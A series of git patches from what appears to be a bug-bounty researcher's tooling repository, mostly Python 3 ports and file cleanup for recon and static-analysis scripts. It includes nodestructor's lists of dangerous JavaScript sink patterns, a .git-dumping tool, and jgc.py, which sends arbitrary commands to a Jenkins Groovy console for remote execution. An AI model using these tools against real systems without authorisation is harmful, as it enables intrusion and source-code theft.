'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' - # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' - prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', - '.hg', '.svn', '_svn', '.git', '.tox'] - - # Specifies which files should be considered python files. It is - # useful when you have scripts inside your project. Only files - # ending with ``.py`` are considered to be python files by - # default. - #prefs['python_files'] = ['*.py'] - - # Custom source folders: By default rope searches the project - # for finding source folders (folders that should be searched - # for finding modules). You can add paths to that list. Note - # that rope guesses project source folders correctly most of the - # time; use this if you have any problems. - # The folders should be relative to project root and use '/' for - # separating folders regardless of the platform rope is running on. - # 'src/my_source_folder' for instance. - #prefs.add('source_folders', 'src') - - # You can extend python path for looking up modules - #prefs.add('python_path', '~/python/') - - # Should rope save object information or not. - prefs['save_objectdb'] = True - prefs['compress_objectdb'] = False - - # If `True`, rope analyzes each module when it is being saved. - prefs['automatic_soa'] = True - # The depth of calls to follow in static object analysis - prefs['soa_followed_calls'] = 0 - - # If `False` when running modules or unit tests "dynamic object - # analysis" is turned off. This makes them much faster. - prefs['perform_doa'] = True - - # Rope can check the validity of its object DB when running. - prefs['validate_objectdb'] = True - - # How many undos to hold? - prefs['max_history_items'] = 32 - - # Shows whether to save history across sessions. - prefs['save_history'] = True - prefs['compress_history'] = False - - # Set the number spaces used for indenting. According to - # :PEP:`8`, it is best to use 4 spaces. Since most of rope's - # unit-tests use 4 spaces it is more reliable, too. - prefs['indent_size'] = 4 - - # Builtin and c-extension modules that are allowed to be imported - # and inspected by rope. - prefs['extension_modules'] = [] - - # Add all standard c-extensions to extension_modules list. - prefs['import_dynload_stdmods'] = True - - # If `True` modules with syntax errors are considered to be empty. - # The default value is `False`; When `False` syntax errors raise - # `rope.base.exceptions.ModuleSyntaxError` exception. - prefs['ignore_syntax_errors'] = False - - # If `True`, rope ignores unresolvable imports. Otherwise, they - # appear in the importing namespace. - prefs['ignore_bad_imports'] = False - - # If `True`, rope will insert new module imports as - # `from import ` by default. - prefs['prefer_module_from_imports'] = False - - # If `True`, rope will transform a comma list of imports into - # multiple separate import statements when organizing - # imports. - prefs['split_imports'] = False - - # If `True`, rope will sort imports alphabetically by module name - # instead of alphabetically by import statement, with from imports - # after normal imports. - prefs['sort_imports_alphabetically'] = False - - -def project_opened(project): - """This function is called after opening the project""" - # Do whatever you like here! diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb deleted file mode 100644 index a1fd398f255f2fc48df49c99917d2a41fba552db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1646 zcmb`HNq5sQ0ED3lI0=+cwz9TBSzMqtl%?!tErha^1hIp$9iy=$dhmO2i2S#) zv%K`eseZc6K{NAd>^~C;cIafqWI>mjk=?O9EC^z z#&)B3gEsXspio-0AeI&uO&a#lKn&K#%WQ7Jf z#xnck3Ma;7P7cVNQkY>g`dFVOlD zo;svH>N(o`vwq9x30Cyt{a@t%FBKa3dWYZps~%R_e~-lLq6hRQAJAKccNv5=h4&7b z9zh5r8rl)HMlhOv7_9^!if2J`79SNp72WSM(VBz*G`^(xs_;$Wd(kF8NPTSpt35LN QnZi=|l~J`794C&Ae`AYL#Q*>R diff --git a/diggit/src/diggit.py b/diggit/diggit.py similarity index 82% rename from diggit/src/diggit.py rename to diggit/diggit.py index ea52f3a..d682b06 100755 --- a/diggit/src/diggit.py +++ b/diggit/diggit.py @@ -1,7 +1,5 @@ #!/usr/bin/python -# -# bl4de | | https://twitter.com/_bl4de -# +## # diggit - gets .git repository import argparse import os @@ -32,29 +30,28 @@ def print_banner(): def print_object_details(objtype, objcontent, objhash, objfilename): """Prints and saves object details/content""" - print "\n" + term["cyan"] + "#" * 12 + " " + objhash \ - + " information " + "#" * 12 + term["endl"] - print "\n{0}[*] Object type: {3}{2}{1}{3}".format( - term["green"], objtype, term["red"], term["endl"]) - + print("\n" + term["cyan"] + "#" * 12 + " " + objhash + + " information " + "#" * 12 + term["endl"]) + print("\n{0}[*] Object type: {3}{2}{1}{3}".format( + term["green"], objtype, term["red"], term["endl"])) if objfilename != "": global localgitrepo tmpfp = localgitrepo + "/" + objfilename - print "{0}[*] Object filename: {3}{2}{1}{3}".format( - term["green"], objfilename, term["red"], term["endl"]) - print "{0}[*] Object saved in {2}:{1}".format( - term["green"], term["endl"], tmpfp) + print("{0}[*] Object filename: {3}{2}{1}{3}".format( + term["green"], objfilename, term["red"], term["endl"])) + print("{0}[*] Object saved in {2}:{1}".format( + term["green"], term["endl"], tmpfp)) tmpfile = open(tmpfp, "w") tmpfile.write("// diggit.py by @bl4de | {} content\n".format(objhash)) tmpfile.writelines(objcontent) tmpfile.close() - print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) + print("{0}[*] Object content:{1}\n".format(term["green"], term["endl"])) if len(objcontent) < 2048: - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + print("{0}{1}{2}".format(term["yellow"], objcontent, term["endl"])) else: - print "{}[!] file too big to preview - {} kB{}".format( - term["red"], len(objcontent)/1024, term["endl"]) + print("{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"])) def get_object_url(objhash): @@ -115,7 +112,8 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): parser.add_argument('-t', help='path to temporary Git folder on local machine') parser.add_argument('-o', help='object hash (SHA-1, all 40 characters)') - parser.add_argument('-r', default=False, + parser.add_argument('-r', + action="store_true", help='be recursive (if commit or tree hash ' 'found get all blobs too). Default is \'False\'') @@ -136,4 +134,4 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): if baseurl and objecthash: print_banner() save_git_object(args.u, args.o, berecursive, "") - print "\n" + term["cyan"] + "#" * 78 + term["endl"] + print("\n" + term["cyan"] + "#" * 78 + term["endl"]) From 07cd00cc32c9731ac687716d5eb4883e0d5c1209 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:47:17 +0100 Subject: [PATCH 255/289] [nodestructor] Fix Python 3.12 related errors --- nodestructor/nodestructor.py | 270 +++++++++++++++++------------------ 1 file changed, 135 insertions(+), 135 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 1a4d9cd..19438b2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -46,144 +46,144 @@ """ nodejs_patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*execFile\(", - ".*execFileSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*spawn\(", - ".*fork\(", - "\.shell", - "\.env", - "\.exitCode", - "\.pid", - ".*newBuffer\(", - ".*\.constructor\(", - ".*mysql\.createConnection\(", - ".*\.query\(", - ".*serialize\(", - ".*unserialize\(", - ".*__proto__" + r".*url.parse\(", + r".*[pP]ath.normalize\(", + r".*fs.*File.*\(", + r".*fs.*Read.*\(", + r".*pipe\(res", + r".*bodyParser\(", + r".*eval\(", + r".*exec\(", + r".*execSync\(", + r".*execFile\(", + r".*execFileSync\(", + r".*res.write\(", + r".*child_process", + r".*child_process.exec\(", + r".*\sFunction\(", + r".*spawn\(", + r".*fork\(", + r"\.shell", + r"\.env", + r"\.exitCode", + r"\.pid", + r".*newBuffer\(", + r".*\.constructor\(", + r".*mysql\.createConnection\(", + r".*\.query\(", + r".*serialize\(", + r".*unserialize\(", + r".*__proto__" ] -browser_patterns = [ - ".*urlsearchParams\(", - ".*innerHTML", - ".*innerText", - ".*textContent", - ".*outerHTML", - ".*appendChild\(", - ".*document.write\(", - ".*document.writeln\(", - ".*document.location", - ".*document.URL", - ".*document.documentURI", - ".*document.URLUnencoded", - ".*document.baseURI", - ".*document.referrer", - ".*location.href", - ".*location.search", - ".*location.hash", - ".*location.host", - ".*location.pathname", - ".*document.cookie", - ".*history.pushState\(", - ".*history.replaceState\(", - ".*navigator.userAgent", - ".*window.open\(", - ".*postMessage\(", - ".*.addEventListener\(['\"]message['\"]", - ".*.ajax\(", - ".*.getJSON\(", - ".*\$http\(", - ".*navigator.sendBeacon\(", - ".*\.add\(", - ".*\.append\(", - ".*\.after\(", - ".*\.before\(", - ".*\.html\(", - ".*\.prepend\(", - ".*\.replaceWith\(", - ".*\.wrap\(", - ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML", - ".*\.bypassSecurityTrust.*", - ".*localStorage\.", - ".*sessionStorage\.", - ".*\$sce\.trustAsHtml\(", - ".*\.load\(", - ".*jQuery\.ajax\(", - ".*parseHTML", - ".*wrap.*\(", - ".*html\(", - ".*before\(", - ".*after\(", - ".*insertBefore\(", - ".*insertAfter\(", - ".*prepend", - ".*setContent\(", - ".*setHTML\(", - ".*\.SafeString\(", - ".*globalEval", - ".*execScript", - ".*insertAdjacentHTML\(", - ".*setAttribute.on", - ".*xhr.open", - ".*xhr.send", - "fetch", - ".*xhr.setRequestHeader.name", - ".*xhr.setRequestHeader.value", - ".*attr.href", - ".*attr.src", - ".*attr.data", - ".*attr.action", - ".*attr.formaction", - ".*prop.href", - ".*prop.src", - ".*prop.data", - ".*prop.action", - ".*prop.formaction", - "form.action", - ".*input.formaction", - ".*button.formaction", - ".*button.value", - ".*setAttribute.href", - ".*setAttribute.src", - ".*setAttribute.data", - ".*setAttribute.action", - ".*setAttribute.formaction", - "webdatabase.executeSql", - ".*document.domain", - ".*history.pushState", - ".*history.replaceState", - ".*setRequestHeader", - ".*websocket", - ".*anchor.href", - ".*anchor.target", - ".*JSON.parse", - ".*document.cookie", - ".*localStorage.setItem.name", - ".*localStorage.setItem.value", - ".*sessionStorage.setItem.name", - ".*sessionStorage.setItem.value", - ".*outerText", - ".*innerText", - ".*textContent", - ".*style.cssText", - ".*RegExp" +browrser_patterns = [ + r".*urlsearchParams\(", + r".*innerHTML", + r".*innerText", + r".*textContent", + r".*outerHTML", + r".*appendChild\(", + r".*document.write\(", + r".*document.writeln\(", + r".*document.location", + r".*document.URL", + r".*document.documentURI", + r".*document.URLUnencoded", + r".*document.baseURI", + r".*document.referrer", + r".*location.href", + r".*location.search", + r".*location.hash", + r".*location.host", + r".*location.pathname", + r".*document.cookie", + r".*history.pushState\(", + r".*history.replaceState\(", + r".*navigator.userAgent", + r".*window.open\(", + r".*postMessage\(", + r".*.addEventListener\(['\"]message['\"]", + r".*.ajax\(", + r".*.getJSON\(", + r".*\$http\(", + r".*navigator.sendBeacon\(", + r".*\.add\(", + r".*\.append\(", + r".*\.after\(", + r".*\.before\(", + r".*\.html\(", + r".*\.prepend\(", + r".*\.replaceWith\(", + r".*\.wrap\(", + r".*\.wrapAll\(", + r".*\.dangerouslySetInnerHTML", + r".*\.bypassSecurityTrust.*", + r".*localStorage\.", + r".*sessionStorage\.", + r".*\$sce\.trustAsHtml\(", + r".*\.load\(", + r".*jQuery\.ajax\(", + r".*parseHTML", + r".*wrap.*\(", + r".*html\(", + r".*before\(", + r".*after\(", + r".*insertBefore\(", + r".*insertAfter\(", + r".*prepend", + r".*setContent\(", + r".*setHTML\(", + r".*\.SafeString\(", + r".*globalEval", + r".*execScript", + r".*insertAdjacentHTML\(", + r".*setAttribute.on", + r".*xhr.open", + r".*xhr.send", + r"fetch", + r".*xhr.setRequestHeader.name", + r".*xhr.setRequestHeader.value", + r".*attr.href", + r".*attr.src", + r".*attr.data", + r".*attr.action", + r".*attr.formaction", + r".*prop.href", + r".*prop.src", + r".*prop.data", + r".*prop.action", + r".*prop.formaction", + r"form.action", + r".*input.formaction", + r".*button.formaction", + r".*button.value", + r".*setAttribute.href", + r".*setAttribute.src", + r".*setAttribute.data", + r".*setAttribute.action", + r".*setAttribute.formaction", + r"webdatabase.executeSql", + r".*document.domain", + r".*history.pushState", + r".*history.replaceState", + r".*setRequestHeader", + r".*websocket", + r".*anchor.href", + r".*anchor.target", + r".*JSON.parse", + r".*document.cookie", + r".*localStorage.setItem.name", + r".*localStorage.setItem.value", + r".*sessionStorage.setItem.name", + r".*sessionStorage.setItem.value", + r".*outerText", + r".*innerText", + r".*textContent", + r".*style.cssText", + r".*RegExp" ] -url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +url_regex = re.compile(r"(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] patterns = nodejs_patterns @@ -341,7 +341,7 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-u", "--include-urls", help="identify URLs", action="store_true") parser.add_argument( - "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") + "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx") args = parser.parse_args() From e203c37e4bb5b55befb13483a24fa9863c4990c1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:49:59 +0100 Subject: [PATCH 256/289] [s0mbra] remove unused phpsast --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f9bfaec..e25c7cd 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -587,14 +587,6 @@ graphw00f() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# runs PHP SAST tools against PHP application -php_sast() { - clear - echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # runs Ruby SAST tools against Ruby application ruby_sast() { clear @@ -772,9 +764,6 @@ case "$cmd" in snyktest) snyktest ;; - phpsast) - php_sast "$2" - ;; gql) gql "$2" ;; @@ -883,7 +872,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" From 3105223760f1852aafdf4323e8db468482e762df Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:04:44 +0100 Subject: [PATCH 257/289] cleanup --- vi.py => Vi/vi.py | 2 + chromium | 37 ----------------- composer.json | 5 --- composer.lock | 78 ------------------------------------ crawl.py | 35 ---------------- dec0der.sh | 18 --------- endpoints.txt | 1 - enumeratescope.sh | 100 ---------------------------------------------- ip_generator.py | 8 ++-- jgc.py | 19 ++++----- subdomain_enum.sh | 0 11 files changed, 16 insertions(+), 287 deletions(-) rename vi.py => Vi/vi.py (98%) delete mode 100755 chromium delete mode 100644 composer.json delete mode 100644 composer.lock delete mode 100644 crawl.py delete mode 100755 dec0der.sh delete mode 100644 endpoints.txt delete mode 100755 enumeratescope.sh mode change 100755 => 100644 subdomain_enum.sh diff --git a/vi.py b/Vi/vi.py similarity index 98% rename from vi.py rename to Vi/vi.py index 096e41f..6ff26c7 100644 --- a/vi.py +++ b/Vi/vi.py @@ -119,6 +119,8 @@ def recon(emails: set, javascript_files: set): for mail in emails: print(mail) + for url in urls: + print(url) for js_file in javascript_files: print(js_file) diff --git a/chromium b/chromium deleted file mode 100755 index 5e907ef..0000000 --- a/chromium +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# -# see available options: -# http://peter.sh/experiments/chromium-command-line-switches/ -# -# 8080 - is a standard port for Burp - -# To disable XSS Auditor in Chromium simply put 0 as second argument, 1 leaves XSS Auditor enabled -# to enable auto opening DevTools, set 1 as a third argument - -echo -echo "Usage: chromium [port] [enable xss Auditor] [open DevTools for new tabs]" -echo " example:" -echo " $ chromium 8080 1 1 - runs Chromium listening on 8080, XSS Auditor enabled and DevTools open in new tab(s)" - -# default settings -xss_auditor="" -port="" -devtools="" - -if [ $1 -ne 80 ]; then - port="--proxy-server=127.0.0.1:$1" -fi - -if [ $2 == 0 ]; then - xss_auditor="--disable-xss-auditor" -fi - -if [ $3 == 1 ]; then - devtools="--auto-open-devtools-for-tabs" -fi - -# update those lines to your system specific path: -cd /Applications/Chromium.app/Contents/MacOS -echo "[+] running ./Chromium $port $xss_auditor $devtools" - -./Chromium $port $xss_auditor $devtools diff --git a/composer.json b/composer.json deleted file mode 100644 index 5575f14..0000000 --- a/composer.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "require-dev": { - "phpstan/phpstan": "^1.8" - } -} \ No newline at end of file diff --git a/composer.lock b/composer.lock deleted file mode 100644 index 51bd5e0..0000000 --- a/composer.lock +++ /dev/null @@ -1,78 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "911267b8ad1b1bb25c74a4db8118c301", - "packages": [], - "packages-dev": [ - { - "name": "phpstan/phpstan", - "version": "1.8.2", - "source": { - "type": "git", - "url": "https://github.com/phpstan/phpstan.git", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", - "shasum": "" - }, - "require": { - "php": "^7.2|^8.0" - }, - "conflict": { - "phpstan/phpstan-shim": "*" - }, - "bin": [ - "phpstan", - "phpstan.phar" - ], - "type": "library", - "autoload": { - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "PHPStan - PHP Static Analysis Tool", - "support": { - "issues": "https://github.com/phpstan/phpstan/issues", - "source": "https://github.com/phpstan/phpstan/tree/1.8.2" - }, - "funding": [ - { - "url": "https://github.com/ondrejmirtes", - "type": "github" - }, - { - "url": "https://github.com/phpstan", - "type": "github" - }, - { - "url": "https://www.patreon.com/phpstan", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", - "type": "tidelift" - } - ], - "time": "2022-07-20T09:57:31+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": [], - "platform-dev": [], - "plugin-api-version": "2.1.0" -} diff --git a/crawl.py b/crawl.py deleted file mode 100644 index 1b4fc55..0000000 --- a/crawl.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/python -import sys -import json -import requests -import argparse -from bs4 import BeautifulSoup - - -def results(file): - content = open(file, 'r').readlines() - for line in content: - data = json.loads(line.strip()) - urls = [] - for url in data['results']: - urls.append(url['url']) - return urls - - -def crawl(url): - r = requests.get(url) - soup = BeautifulSoup(r.text, 'lxml') - links = soup.findAll('a', href=True) - for link in links: - link = link['href'] - if link and link != '#': - print '[+] {} : {}'.format(url, link) - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument("file", help="ffuf results") - args = parser.parse_args() - urls = results(args.file) - - for url in urls: - crawl(url) diff --git a/dec0der.sh b/dec0der.sh deleted file mode 100755 index bd914db..0000000 --- a/dec0der.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash - -# simple command line decoder/enmcoder -# by bl4de -# -# invoke: -# dec0der [FROM] [string] - -FROM=$1 -STRING=$2 - -if [[ $FROM == 'ascii' ]]; then - echo $STRING | xxd -r -p -fi - -if [[ $FROM == 'base64' ]]; then - echo $STRING | base64 -D -fi diff --git a/endpoints.txt b/endpoints.txt deleted file mode 100644 index ff772e2..0000000 --- a/endpoints.txt +++ /dev/null @@ -1 +0,0 @@ -/api/v1/user diff --git a/enumeratescope.sh b/enumeratescope.sh deleted file mode 100755 index 46c4e8b..0000000 --- a/enumeratescope.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - -HOME=/Users/bl4de - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## creates list of uniqe, sorted domains obtained from subdomain enum tools: -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/all - # remove
left from DNS records into unsorted list with dups: - sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted - # remove dups and create final list of domains: - sort -u -k 1 domains/unsorted > domains/final - # remove temporary files - rm -f domains/all domains/unsorted - # show how many uniq domains were found: - echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo $1 - echo -e "$(date) denumerator started" >> subdomain_enum.log - # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log - denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log -} - - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain per line -DOMAINS=$1 - -# output directory for denumerator -if [ -z $2 ]; then - OUTPUT_DIR="report" -else - OUTPUT_DIR=$2 -fi - - -# IP address range -CIDR=$3 - -echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator $OUTPUT_DIR - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - diff --git a/ip_generator.py b/ip_generator.py index 75330a1..9952cbd 100755 --- a/ip_generator.py +++ b/ip_generator.py @@ -18,7 +18,7 @@ def help(): - print usage + print(usage) def generate(start, stop, logfile): @@ -31,6 +31,7 @@ def generate(start, stop, logfile): logfile.writelines("{}\n".format(res)) return + if __name__ == "__main__": f = open("ip_list.log", "w+") @@ -41,7 +42,6 @@ def generate(start, stop, logfile): start = sys.argv[1].split(".") stop = sys.argv[2].split(".") - print "\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2]) + print("\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2])) generate(start, stop, f) - print "[+] addresses generated...\n" - \ No newline at end of file + print("[+] addresses generated...\n") diff --git a/jgc.py b/jgc.py index 71a8504..2511599 100755 --- a/jgc.py +++ b/jgc.py @@ -2,27 +2,28 @@ import requests import sys -print """ -Jenkins Groovy Console cmd runner. +print(""" + Jenkins Groovy Console cmd runner. -usage: ./jgc.py [HOST] + usage: ./jgc.py [HOST] + + Then type any command and wait for STDOUT output from remote machine. + Type 'exit' to exit :) +""") -Then type any command and wait for STDOUT output from remote machine. -Type 'exit' to exit :) -""" URL = sys.argv[1] + '/scriptText' HEADERS = { 'User-Agent': 'jgc' } while 1: - CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") if CMD == 'exit': - print "exiting...\n" + print("exiting...\n") exit(0) DATA = { 'script': 'println "{}".execute().text'.format(CMD) } result = requests.post(URL, headers=HEADERS, data=DATA) - print result.text + print(result.text) diff --git a/subdomain_enum.sh b/subdomain_enum.sh old mode 100755 new mode 100644 From a5cbfbec76e7757913b3eab757ecd7fbd9e8226e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:07:29 +0100 Subject: [PATCH 258/289] cleanup --- Vi/vi.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 6ff26c7..af5d33c 100644 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,9 +1,10 @@ -from bs4 import BeautifulSoup -import requests -import requests.exceptions +import re import urllib.parse from collections import deque -import re + +import requests +import requests.exceptions +from bs4 import BeautifulSoup ''' Vi.py - an automated script to extract all inteersting information from website @@ -19,9 +20,6 @@ - parse HTML for stuff - harvest useful information from any comment found (in HTML and JS alike) - other? (TBA) - -- add as a submodule (enabled by cmd option) to denumerator.py - and perform full recon of every website found in scope ''' @@ -92,7 +90,7 @@ def recon(emails: set, javascript_files: set): parts = urllib.parse.urlsplit(url) base_url = '{0.scheme}://{0.netloc}'.format(parts) - path = url[:url.rfind('/')+1] if '/' in parts.path else url + path = url[:url.rfind('/') + 1] if '/' in parts.path else url print('[%d] Processing %s' % (count, url)) try: @@ -126,7 +124,6 @@ def recon(emails: set, javascript_files: set): if __name__ == "__main__": - emails = set() javascript_files = set() From 03fcd59a461886e1cc7f227825b6626b9a8d5334 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 15 Aug 2024 12:38:15 +0100 Subject: [PATCH 259/289] updates --- Vi/vi.py | 1 + s0mbra.sh | 2 ++ 2 files changed, 3 insertions(+) mode change 100644 => 100755 Vi/vi.py diff --git a/Vi/vi.py b/Vi/vi.py old mode 100644 new mode 100755 index af5d33c..7e4fddc --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python import re import urllib.parse from collections import deque diff --git a/s0mbra.sh b/s0mbra.sh index e25c7cd..3be341d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -847,6 +847,7 @@ case "$cmd" in ;; *) clear + echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" @@ -883,5 +884,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" + echo -e "$CLR" ;; esac From 6b0ce6b47f9f5cfd41e2e04516beb9a86b9cb81f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:31:51 +0100 Subject: [PATCH 260/289] small updates --- pef/pef.py | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index df18390..89510f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -299,7 +299,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) if file_found > 0: - print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n") total_found += file_found else: self.scanned_files = self.scanned_files + 1 diff --git a/s0mbra.sh b/s0mbra.sh index 3be341d..c66111f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -262,7 +262,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 